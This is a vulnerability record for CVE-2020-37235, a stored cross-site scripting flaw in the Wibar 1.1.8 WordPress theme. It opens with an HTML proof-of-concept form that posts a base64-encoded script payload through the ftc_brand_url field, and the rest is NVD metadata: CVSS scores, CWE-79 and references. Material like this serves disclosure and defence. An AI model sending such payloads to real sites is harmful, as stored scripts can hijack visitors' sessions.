CVE-2020-37235

<!-- PoC for CVE-2020-37235 --> <!-- Prerequisites: Authenticated session with Editor/Author privileges --> <!-- The payload is Base64 encoded: <script>alert('XSS')</script> --> <form action="http://target.com/wp-admin/admin-post.php" method="POST"> <input type="hidden" name="action" value="ftc_save_brand_settings"> <!-- Injecting malicious Base64 payload --> <input type="hidden" name="ftc_brand_url" value="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="> <input type="submit" value="Submit Exploit"> </form>

{"cve": {"id": "CVE-2020-37235", "sourceIdentifier": "[email protected]", "published": "2026-05-16T16:16:19.570", "lastModified": "2026-05-18T17:05:46.240", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "WordPress Theme Wibar 1.1.8 contains a stored cross-site scripting vulnerability in the Brand component that allows authenticated users to inject malicious scripts by manipulating the Logo URL parameter. Attackers with editor, administrator, contributor, or author privileges can inject base64-encoded script payloads through the ftc_brand_url input field to execute arbitrary JavaScript when users visit the brand page."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "http://demo.themeftc.com/wibar", "source": "[email protected]"}, {"url": "https://themeforest.net/item/wibar-responsive-woocommerce-wordpress-theme/20994798", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49107", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/wordpress-theme-wibar-stored-cross-site-scripting-via-brand-component", "source": "[email protected]"}]}}